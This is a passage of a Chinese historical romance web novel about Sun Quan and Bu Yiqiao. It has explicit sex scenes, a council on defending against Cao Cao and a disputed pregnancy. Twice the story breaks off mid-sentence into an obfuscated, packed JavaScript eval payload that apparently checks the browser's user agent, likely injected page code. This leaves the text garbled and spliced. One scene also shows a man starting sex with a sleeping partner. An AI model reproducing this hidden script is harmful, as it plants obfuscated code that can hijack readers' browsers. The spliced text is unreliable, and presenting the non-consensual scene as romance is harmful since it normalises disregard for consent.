孙权应着,唇又在耳垂上咬了几下,才沿着她侧颈下移,在锁骨上方吮吸许久,瞧见痕迹满意,又回到她唇角。 他含住她下唇,吮咬轻咬,舌尖抵开齿关。步一乔呼吸微乱,伸手环住他脖颈,指尖没入他发间。 孙权的手拨开她交叠的领口,掌心摩挲锁骨,再是肩头。闷哼不断从唇缝溢出,步一乔瑟缩着躲闪,却又忍不住自己将想被他触碰的地方送往他唇边。 大大方方吻了个遍,两人才又接吻,步一乔也趁机咬了下孙权舌尖。 “文书……真不批了?” “明日再说。” 孙权将她抱起来,让她坐在自己腿上,仰头与她吻得更深。 衣衫不松了大半,他低头吻住她肩头,光是脖颈锁骨有痕迹还不够,想在更多地方留下红痕。步一乔仰起颈子,溢出绵绵不断地呜咽,手指抓紧他衣襟。 夜风从窗隙钻进来,拂过相贴的肌肤,却吹不散蒸腾的热意。 “回房……”她在他换气的间隙低喃。 “好。”他应着,却将她搂得更紧,唇又覆上来。 当烛火被穿堂的风吹灭时,孙权终于肯暂歇两口气,抱着步一乔起身。 月光落进来,照亮彼此眼中未褪的潮涌。 “走不动了吧?夫君抱你回房。”他低声问,声音里带着笑。 步一乔把脸埋在他颈窝,沙哑道:“哪怕我说能走,你也不会让我走吧……” “嗯,想抱着你。今夜,一刻不分开,彻底与你融在一起。” * 孙权抱着步一乔穿过寂静的长廊。夜色深深,将两个依偎的身影吞没,从“她”视野中消失。 “真是一点不顾忌被人瞧见,失了主公颜面啊……” 孙尚香打着哈欠,手伸进中衣下摆,揉了揉自己的小肚子。 “好饿啊,去膳房找些吃的,然后……嘿嘿,去二哥门外偷听吧。” 月色正好,孙尚香蹑手蹑脚摸到膳房,摸出两个还温着的蒸饼,一边啃一边步一乔厢房的方向溜。 到了窗外,她寻了处背光的角落蹲下,竖着耳朵细听。 没动静? 她正疑惑,忽然听见极轻的脚步声从身后靠近。还未来得及回头,衣领便被人从后一提。 “这么晚了,在这儿做什么?” 孙权的声音从头顶传来,孙尚香讪讪转过身,嘴里还叼着方才顺路从膳房取来的半块饼。 “二、二哥……我、我出来散步的!房里太热了,外头凉快!” “散步散到我房门口?” “对啊。额,不对!你看我手里半块饼,无意识走到这儿来的。而且……”孙尚香冲着屋内挑了挑眉,“哪儿是你房啊,明明是一乔的房好吧。” 孙权神色微凝:“不许强词夺理,快回屋去。” “是是是,听二哥的。”孙尚香笑嘻嘻应着,又压低声音补了句,“二哥也早些歇息,一乔今儿伺候母亲够累了,你可别欺负人家,放人家早点睡啊!” 说完一溜烟跑了。跑到转角处藏起身,又忍不住回头望去。 孙权已经摇着头转身进屋,屋内隐约传出两人的对话声。 “这二哥真是,日理万机也不晓得多歇歇,就知道粘着一乔……” “主公去了一乔房里?” “呜啊——!”孙尚香吓得一跳,“徐、徐嫂嫂,您怎么也没歇息?” 徐夫人抱着孙登立在后身:“屋里闷,登儿闹着不肯睡,我抱他出来转转。” 屋内隐约传出什么动静,孙尚香紧张得要死,徐夫人抱着孙登,温婉的脸上没却什么波澜。 “嫂嫂……您不介意么?” “介意什么?一个连名分都没有的婢女,值得我费心么?” 她说得轻描淡写,仿佛在谈论一件与己无关的琐事。 那不是宽容,而是一种居高临下的漠视。就像看着一只在掌心跳不出去的雀儿,懒得抬手去捏,却也绝不许它飞远。 孙登在徐夫人怀中不安地动了动。徐夫人低下头,抚过孩子细软的额发。 “只要她安安分分做她的乳母,别对名分抱有什么幻想,仲谋与她夜夜水乳相容,我都无所谓。” 孙尚香纳闷,心想:徐嫂嫂这是……不喜欢一乔,还是不在乎二哥呀? 她忽然觉得,这位看起来面善端庄、最讲道理的嫂嫂,或许才是这府里,最难揣摩的那个人。 “夜深了,”徐夫人转过脸,“尚香快回房歇息吧,若被母亲知道,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可步一乔睡得太沉,无知无觉,甚至在他试探着沿着舌转了一圈,还无意识地吞咽,以为是梦里尝到什么甜味。 细微的反应像火星溅进干草。 孙权呼吸骤然重了,克制地退开些许,却见她仍深陷梦乡,对一切毫无察觉。一种近乎恶劣的念头悄然滋生。 疲惫一天又如何。 吻再次落下,已带了迫不及待的力道。他含住她的唇舌、□□,舌头抵住、打转,齿尖轻咬,卷走涟漪。 她模糊地“唔”了一声,微微蹙眉,却仍未醒,只在与他接吻时,本能地回应了一下。 若有似无的回应成了最烈的火引。加之夏日燥热的空气,身心内外早已焦躁不安。 他熟练地褪下束缚,撑起身,将她整个笼在身下,吻从唇畔蔓延至耳垂、颈侧。指尖挑开寝衣,安抚那片他曾无数次触碰的肌肤。掌心下的身体温热柔软,任他索取。 她在梦里不安地动了动,含糊呓语:“仲谋……别闹……你母亲搁那儿看着呢……” 他动作一顿,无奈轻笑:“这是梦哪儿去了。” 又在她耳畔低哑道:“是你先招惹我的……得负责帮我将火浇灭咯。” 语罢,含住她耳垂一吮。她浑身一颤,终于朦朦胧胧半睁开眼,眸光涣散地望着帐顶。 “你不睡觉……在做什么?” “没什么。你睡吧。” “那我睡了……你也早点休息,别太累了……” 刚闭上眼,感觉什么裂开,探入的比手抚摸的速度还要慢。久逢甘霖,让她瞬间明白这是何意味。 闷热的空气,黏腻的肌肤,帷幔下的方寸之地,如有双蛇相互攀爬,交缠在一起,辨不清四肢落在什么地方。步一乔感觉自己正以怪异扭曲的姿势摇摆,想伸手去抓一件衣裳来擦擦汗,才发现右手臂被弯曲的右腿压制着,上面还有一只比她粗壮不少的手臂。 “我的手……压着了……” “疼?” “倒是不疼……” “那便不用管它。” “啊?”怎么感觉说得牛头不对马尾? 孙权还是收了些力道,将步一乔的右手从腿下取出,扣紧她的手指,落在耳畔,俯身将她所有颤抖与呜咽都吞进唇齿间。 月光从帐隙漏进一线,恰好照亮她吃痛失神仰起的颈,和他一口咬住她脖颈的侧脸。 …… * 因孙权统业时年少,自孙策“故去”后,吴夫人便一直参与军国决策,辅佐治理江东。 每逢重大事宜,皆在孙府内院商议。此处既非人人可进,故列席者,皆是孙吴政权的核心。 步一乔扶着吴夫人落座,又替她理好衣摆,方欲躬身退下。 “你也留下。” 闻声,步一乔微微一顿,余光扫过室内众人各异的神色,垂首低声道:“奴婢在此恐有不便,还是门外候着为好。” “让你留下便留下。”吴夫人未抬眼,只拍了拍身侧的坐席,“坐这儿。” “……遵命。” 步一乔依言坐下,眼观鼻,鼻观心。 周瑜倒是与她熟悉,态度还算一如既往。余下张昭、鲁肃等人,此番是“初见”,不免有怀疑审视不屑。 而主位上的孙权,差点没藏住喜悦。 案上舆图铺展,张昭先开了口,将曹军近日动向、粮草调度一一析说分明。周瑜随后接过话头,指尖点在图上几处水道,论及水军布防与江岸应对之策。 众人言毕,目光皆落向吴夫人。 吴夫人却未立即开口,侧目看向身侧似在听天书,懵懂样的步一乔。 “一乔,你听了一轮,有何见解?” “奴婢愚钝,军政大事岂敢妄言。” “我让你说,你便说。” 步一乔缄默,深知这等场合决不能擅自开口,哪怕心有决策,也必须装作矜持。 吴夫人又道:“必须说。说对了,有赏。说错了……我便将你驱出孙府。” 108. 修罗 “说对了,有赏。说错了……我便将你逐出孙府,永不复入。” 室内气氛骤然变化,谁也没想到吴夫人会当着众人面来这一出。 孙权是个例外。 自那日母亲说要一乔照料后,他认真思考过多种理由,今日又是议事要她留下,某一种猜测得到了证实。 步一乔抬起眼,略作无奈道:“既如此……一乔便斗胆妄言了。还请诸位大人海涵指正。” 她转向案上舆图,指向江北一处。 “曹军近日调度频繁,表面是为屯粮筑营,实则暗藏两路并用之机。张公方才所言粮道,确是关键,然,都督所言水军布防周详,但曹军若明修栈道,暗度陈仓呢?” 周瑜眉峰微挑:“哦?” “曹军主力陈列江北,粮草辎重皆倚水路。若我是郭嘉……不对,若我是曹操,会明面上大张旗鼓加固营寨、疏通粮道,暗中却分一支精兵,轻舟简从,趁夜自此处——” 她指着图上一处不起眼的支流河口。 “由此悄渡江南,直插丹阳腹地。丹阳若乱,吴郡震动,届时我军首尾难顾,江北防线便成虚设。” 鲁肃思索道:“此河口狭窄水浅,大船难行。” “正因难行,才不易设防。”步一乔看向周瑜,“且今春水涨,浅处亦可行舟。若曹军以牛皮囊充气浮载兵卒、粮械,无需大船,便可悄渡。” 周瑜没看舆图,而是对上她的眼睛,抚掌轻笑。 “好一个‘明修栈道,暗度陈仓’!此策确有可能。主公,此地当增哨岗,并遣快船巡防。” 孙权颔首,又问步一乔:“依你之见,渡河之敌,当如何应对?” 她道:“若敌真由此来……不妨将计就计。提前伏兵于河口两岸,待其半渡,以火箭攻其皮囊,乱其阵型,再以轻舟截杀。届时敌退无路,进无门,必成瓮中之鳖。” 吴夫人一直静听至此,终是代众人问出了萦绕心头的问题: “你这些兵家谋略、地形见解,从何学来?” 步一乔往后挪了些,俯首下拜: “皆是平日侍奉主公笔墨时,见主公劳心案牍、忧思战事,心下难安……故而偷闲览了些兵书战策,暗自揣摩。僭越之处,还请老夫人恕罪。” 听完,吴夫人第一反应是去看孙权的表情。他正看向伏地的她,唇角噙着的笑意毫不掩饰。 忽有石子落池,在吴夫人心底漾开细密的涟漪。 她忽然想起多年前,孙坚也曾这样看过自己。某次战后军议,她于屏风后听罢局势,忍不住递了张字条进去。孙坚展开看了,先是一怔,随即回头望向屏风方向,眼底便是这样一闪而过的笑意。 那时他怎么说来着? “吾妻亦知兵。” 后来……后来就没有后来了。 他去了砚山,再没回来。 “起来罢。诸君以为,一乔所言如何?” 周瑜先开了口:“能结合江淮水势、敌军弱点,提出如此计策,确是深思熟虑。我孙吴向来唯才是举,一乔姑娘之见识,若能为霸业所用,当是江东之幸。” 鲁肃也点头附议:“公瑾所言甚是。方才所论,切中肯綮。” 张昭却抚须沉吟,缓缓道:“可她终究年纪尚轻,不似老夫人阅历深厚,更无统兵临阵之实。兵者,国之大事,恐不宜……” 他话未说尽,但未尽之意已分明。 吴夫人看向孙权,众人也随其望去。 孙权沉思片刻,道:“子布所言极是。一乔现如今的才识不过皮毛,未经战阵淬炼,确难当大任。” 语毕,他停顿片刻。众人静候转机,然而,孙权的话,竟到此为止。 吴夫人这可不明白了。自家老二对这姑娘有多上心,如今正是顺势为其铺路、在众人面前立下根基的良机,他竟亲手推开? 不过,也能明白,定是这姑娘自己的意思。抑或是孙权看似推拒、实则维护。 “既如此,”吴夫人开口,打破沉默,“便依仲谋所言。” 议事继续,步一乔再未发一言,吴夫人也未再刁难。 直到诸事议定,众人散去。 吴夫人独留下了步一乔。 “你方才,是故意藏拙。”她用的是陈述的语气,并非询问。 步一乔默然片刻,轻声道:“木秀于林,风必摧之。奴婢……尚未有足以自保的根基。” “你倒是清醒。但你可知,今日你推掉的,或许是你此生唯一一次,能名正言顺站在他身边的机会?” “老夫人,奴婢要的,从来不是一次机会。奴婢要的,是能长久站在他身旁的资格。不是凭一时机巧,而是凭无人可取代的‘必需’。” 吴夫人怔住。许久,她了然般笑了。 “我如今……倒有些明白,仲谋为何独独是你了。” 她起身,步一乔连忙上去搀扶。 “走吧,陪我去个地方。还有,往后不必再自称奴婢。‘一乔’这名……仲谋取得不错。” * 没想到吴夫人带自己去的是医馆,步一乔有种不妙的预感。 刚进医馆,刚坐下,吴夫人便让大夫给她诊脉。 “老夫人这是……” “看看主公的次子何时降生。” “次子?!”步一乔讪讪一笑,“奴……我没怀孕呢。” “夜夜同床共枕,怎会不怀?登儿也渐大了,又有徐氏照看,正是该添新丁的时候。” 说罢,吴夫人还不忘再添一句: “仲谋他只愿与你同房。这等‘重任’,可不就落在你肩上了么?” 步一乔心下愕然:这是要我沦为生娃工具吗?!话说东汉末年的人怎么避孕的?不对……这年头人口稀缺,怎么可能会有避孕措施! 她还未理清思绪,大夫已搭上她的腕脉,吓得她赶紧抽回手。 “我与主公一年半不曾行事,不会有身孕的。” “一年半?自你怀上的登儿至今?一次也未曾有过?” “……未曾。” 除了三日前那夜。 大夫的手僵在半空,静候吴夫人示下。 “你是瞧我在此,不愿让我知晓?” “不是的,是真不会有身孕。” 吴夫人看了她片刻,缓缓起身:“罢了,我出去等便是。” 步一乔一怔:“老夫人,我并非此意——” 吴夫人走了。 老大夫这才低声问:“姑娘方才,是与老夫人撒了谎?” 步一乔挠了挠后颈道:“没有撒谎……大夫,请教一事,若有身孕,多久能诊出?” “若是脉象充盈者,月事逾期半月左右,便可探得滑脉之象。若是体弱或月份尚浅……则需再候些时日。” 步一乔默算。距那夜不过三日,纵是真有了,此刻也绝无可能诊出。 她松了口气,将手腕重新置于脉枕上:“那便有劳大夫了。” 诊脉开始,老大夫凝神细辨。片刻,他眉头微动,抬眼看了步一乔一眼,又垂下目去,指下力度稍重了几分。 步一乔心头倏地一跳。 “大夫?您怎么这反应?” 老大夫收手,神色有些复杂:“姑娘脉象流利如珠,应指圆滑……确是滑脉之征。” “……何意?” “姑娘有身孕了。” 室内陡然寂静。 步一乔怔怔看着自己的手腕,突然变得那不是自己的手。一年半的空寂,三日前的温存怎么可能?! “不对不对!您再好好诊一诊脉,绝不可能!” 人类已经发展到自己受精怀孕了吗!绝对搞错了! “姑娘再好好想想,这一年半中,当真没与主公同房?” “……三天前,算吗?” “自然不算。”老大夫摇头,“此脉象圆滑如珠,往来流利……” “可……我怎么不知道?!” “想想最近可有与男子独处一室?” “最近?” 某个孙权不在吴郡的夜晚,阴差阳错和董奉独处了一夜……自己喝了他给的药,浑身发热得难受,于是先睡了…… 沉思完,步一乔肯定道:“没有。” “若姑娘真不知情,或许,得问问主公了。” 大夫起身推开诊室的门。吴夫人正立在院中,望着方才一道火速飞出去的人影发怔。 “老夫人,”大夫上前揖道,“关于姑娘的脉象……” 吴夫人回过神来,轻叹一声:“看她方才那副模样,恐怕是没有身孕了。可惜。” 大夫却微微一笑: “在下倒觉得,未必可惜。想来向来持重的主公,能与这般……活泼跳脱的姑娘两情相悦,亦是难得的缘分。” 吴夫人闻言,摇了摇头,却露出浅笑。 “无名无分的‘主母’……也不错。” * “孙仲谋!” 步一乔径直闯入内室时,孙权正与董奉商议吴夫人的病症。 董奉见状,面露严肃:“我说过时刻保持平心静气吧。何事如此生气?” “正好医仙在此——”步一乔将手腕递到董奉面前,“请。” 董奉虽不明所以,仍凝神诊脉。片刻后,他神色微变,惊愕地望向步一乔。 “你……” 步一乔转眸直视孙权:“主公,给个解释罢。” 孙权眉峰微蹙:“可这一年半间,你我何时有过?” 董奉沉吟接口:“此脉圆滑流利,当有一月有余。而月余之前……” “是你我被困山洞那夜……” 步一乔的话让孙权眉头骤然紧锁。 “夫人,该给解释的……恐怕是你啊。” 步一乔看向董奉,月余前山洞里发生的片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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董奉背过身去,孙权只望着她的眼睛。 “这具身体为了你,哪怕千疮百孔也从未悔过。哪怕地牢那口棺椁,真成了我的坟墓……爬也要爬回你身边。只觉得对不起你,想要弥补我丢下你一个人的错。” 她抓过孙权的手,掌心贴着肌肤按上自己的心脏。 “这颗心自从给了你,再没想过任何人。” 步一乔甩开他的手,将衣襟重新拢好。孙权方才剑拔弩张的怒气,在她泪光中褪去几分。 “……是不是因为她要来了?” “谁?” “因为步练师要来……所以你跟我吵,你才急着给我安罪名,才想逼我滚远点,对不对?!” “不是。不许胡思乱想。” 哪怕孙权的回答毫不犹豫,诚恳至极,步一乔还是撞上死胡同,出不去了。 “我胡说?那你告诉我,为什么疑我?为什么偏偏在她到吴郡的前夕,你要这样羞辱我?!” 她指着自己泪痕交错的脸: “我从前哭你就乱了,现在呢?无动于衷……” 她从他身边退开几步。 “你变了,孙权。” “你也变了,一乔。或者该说……你又变回当初的样子了。” 步一乔嗤笑道:“是啊,又变回你最讨厌的,爱嫉妒、小心眼、不讲理的女人。没关系,那个不善妒、心怀大度、处事周全的人要来了,更重要的是……” 她抽了抽鼻子,用力憋住泪。 “她与我,生得有八分相似。而你当初看上我……不过是因为这张脸罢了。” 孙权侧过身去。 “那你呢?时至今日,仍每月给兄长寄去书信、布匹、银两,这又是何故?口口声声说只为救他性命,再未想过旁人。可你心里,从来都给他留着一席之地!” “那是你兄长,我善待他有错么?!” “旁人可以,但你不行!” “为何不行?!” “因为你来到这世间本就是为了兄长!因为一开始你心悦的,甘愿赴汤蹈火的人是他!” 步一乔怔怔看着他,从没想过在孙权心底,藏着这般秘密。 不能再与他争论下去……趁着窗户纸还没完全捅破,不能再说了…… 她转身面向董奉,深深一礼: “医仙,今日之辱,一乔代主公向您赔罪。我深知医仙为人,此子定然与医仙无关。” 言罢,她径直朝门外走去。 “你去哪儿!站住!”孙权厉声喝道。 步一乔脚步未停。 “步一乔——!” 【今日,七月初二。自庐江驶往吴郡的马车,将于次日抵达城下。】